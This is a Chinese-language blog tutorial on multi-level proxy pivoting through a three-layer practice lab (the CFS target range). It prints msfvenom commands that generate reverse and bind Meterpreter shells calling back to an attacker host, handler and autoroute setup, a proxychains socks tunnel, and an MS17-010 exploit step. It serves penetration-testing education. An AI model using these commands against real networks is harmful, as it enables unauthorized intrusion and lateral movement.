当前位置:首页 > CN2资讯 > 正文内容

干货 | 内网渗透代理之多级代理篇内网穿透代理

7小时前CN2资讯

前言

在有些内网环境中,它的内网环境分为好几层,我们必须通过拿到一层内网中服务器的权限之后再通过这一内网中的服务器进一步访问二层内网中的其他服务器。在这种环境中,我们就需要多级代理突破层层内网,来实现在内网中漫游。

环境搭建

本次实验环境借助一个CFS三层的靶机,靶机下载地址如下


【CFS三层靶机环境】百度网盘链接:
链接: https://pan.baidu.com/s/1LJueA-X02K7HZXr8QsOmeg
提取码: dkcp
解压密码:teamssix.com

网络拓扑图如下(子网掩码都为24位)

在该网络拓扑中178网段模拟的是外网环境,239网段为第一层内网,154网段为第二层内网,每一个target靶机中都存放着一个flag,最终目的是要拿到所有目标靶机中的flag,当然我们这讨论的是代理知识,所以flag我们就忽略掉。

攻击过程

首先用nmap对178网段中存活主机做一个探测

可以发现在178网段中存在一个142的地址,也就是centos7的地址,发现142可以再利用nmap对其进行一个系统扫描

其中开放这80端口,我们可以对他的80端口进行一个访问,最终是会发现存在一个Think PHP

该版本存在一个RCE执行,这里利用工具进行一键get shell

然后蚁剑链接

连接之后,我们利用msfvenom创建一个后门



msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.178.128 lport=4444 -f elf >shell.elf

通过web shell上传到target 1服务器上,然后在kali上配置监听


msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.178.128

执行后门拿下target 1服务器权限

在拿到meterpreter权限之后,我们可以 run get_local_subnets 查看一下网络中的路由信息



meterpreter > run get_local_subnets

可以发现还存在239的网段,那我们先往session里面添加一条239网段的路由



meterpreter > run autoroute -s 192.168.239.0/24

然后使用 run autoroute -p 查看session中的路由是否添加成功。

发现已存在,接下来我们使用一个socks5代理模块



msf5 exploit(multi/handler) > use auxiliary/server/socks5

然后配置好ip,run启动

配置好了socks代理,我们可以借助一款kali上自带的全局代理软件proxychains来连接socks代理

首先我们对proxychains代理软件进行配置



vim /etc/proxychains.conf

在末尾添加socks代理的映射关系(且与在MSF上配置的相对应)

配置好后,我们利用代理软件来启动nmap对239网段中存活主机做一个探测



proxychains nmap -sT -p80 192.168.239.1/24 #正常不能添加-p参数,这里为上帝视角知道239网段中129主机启动着一个web服务,目的是让扫描快一点

扫描到239网段中的129地址,接下来和之前一样对其进行一个系统的扫描,访问web服务,web服务中存在sql注入然后拿下web权限(target2拿web权限的操作省略),拿下权限通过msfvenom创建后门进行上传,但是此处的后门要生成一个正向的后门。



msfvenom -p linux/x64/meterpreter/bind_tcp lport=1234 -f elf >shell2.elf

此处为什么要生成一个正向的木马呢,我们在这分析一下,这里再放下拓扑图,方便理解。

我们拿下了target2的web权限,加入这是我们上传的是反向的木马,那么target2就要去寻找我们kali的路由,但是target2主机中没有kali的路由,那么就会导致我们的反弹shell失败,之后我们再来看看正向的。

我们生成了一个正向的木马,我们的kali攻击机就会去主动寻找target2的服务器,这个时候我们应为做了一个socks5的代理,我们的流量会通过kali的ip的1080端口代理给target1,然后target1中是存在239网段中的路由的,所以我们可以正常进行连接。

理解好之后,之后的操作就很简单了,通过我们通过sql注入拿到的web权限上传木马,然后在kali上利用proxychains启动msfconsole



root@root:~/桌面# proxychains msfconsole

然后配置监听



msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload linux/x64/meterpreter/bind_tcp
msf5 exploit(multi/handler) > set lport 1234
msf5 exploit(multi/handler) > set rhost 192.168.239.129

 执行木马即可拿下第二层主机服务器权限

拿下第二层之后,之后操作大同小异,添加路由,探测第三层存活主机,发现192.168.154.129的ip,然后该台机器存在永恒之蓝漏洞,利用ms17-010拿下第三层权限


msf5 exploit(multi/handler) > use exploit/windows/smb/ms17_010_psexec
msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/bind_tcp

至此三个靶机中的flag都可以找到。

更多技术文章请关注公众号:猪猪谈安全

    你可能想看:

    扫描二维码推送至手机访问。

    版权声明:本文由皇冠云发布,如需转载请注明出处。

    本文链接:https://www.idchg.com/info/32082.html

    分享给朋友:

    “干货 | 内网渗透代理之多级代理篇内网穿透代理” 的相关文章

    高速稳定,连接全球:日本CN2服务器的终极指南

    在全球化的今天,互联网连接的稳定性和速度已经成为企业及个人用户的首要需求。无论是网络游戏、在线视频、电子商务,还是企业级应用,高速稳定的网络环境都是不可或缺的。而在这一领域,日本CN2服务器以其卓越的表现,成为了众多用户的首选。本文将深入探讨日本CN2服务器的特点、优势以及适用场景,帮助您更好地理解...

    美国远程游戏主机:如何选择最佳服务以提升游戏体验

    美国远程游戏主机市场近年来发展迅速,吸引了大量用户和企业的关注。这个市场不仅提供了多样化的产品和服务,还满足了从个人玩家到大型游戏开发公司的不同需求。无论是高性能计算、低延迟连接,还是全球覆盖和安全性,美国远程游戏主机市场都在不断优化和创新。 市场现状与发展趋势 美国远程游戏主机市场的现状可以用“多...

    解决Hostodo打不开的有效方法和详细步骤

    在使用Hostodo的过程中,偶尔会遇到打不开的情况。这种问题可能会让人感到挫败,但其实有几个常见原因可以帮助我们找到解决办法。首先,网络连接问题是最普遍的原因之一。无论是局域网的配置,还是Wi-Fi的信号不稳定,都会导致连接失败。我记得第一次遇到这种情况时,发现原来是我的路由器出了问题,重新启动后...

    DC2:动画创作、网络安全与汽车文化的多重魅力探索

    DC2 可谓是一个充满魔力的词汇,它在不同的领域中有着不同的意义。这种多样性让它成为了动画爱好者、汽车迷,甚至网络安全专家的共同话题。我对这些含义的探索,给我带来了许多启发和乐趣,让我对这个小小的组合字母有了更深刻的理解。 首先,提到 DC2,许多人可能会想到 DC2 动画软件。这款软件不仅在手机动...

    探索4837线路:高速度、稳定性与价格优势的网络选择

    在当今网络时代,选择合适的线路对于提高上网体验至关重要。4837线路就是其中一个备受关注的选项。它主要指在回国或出国前,通过一个名为4837的节点进行连接,进行跨国网络传输。这个线路归类为联通线路,其特点在于相对负载较低,使得整体表现更胜一筹。经过近年来的广泛应用,4837线路逐渐成为热门选择。 我...

    IPv6 测速方法与工具:提升网络体验的技巧

    IPv6 测速的基本概念 IPv6,作为互联网协议的最新版本,让我们在网络世界中畅游无阻。它的推出旨在解决IPv4所面临的地址枯竭问题,推进更加广泛的设备连接。简单来说,IPv6提供了更大的地址空间,能够支持越来越多的设备上线。因为万物互联的时代已经来临,我们的手机、电脑、家居设备甚至汽车都需要连接...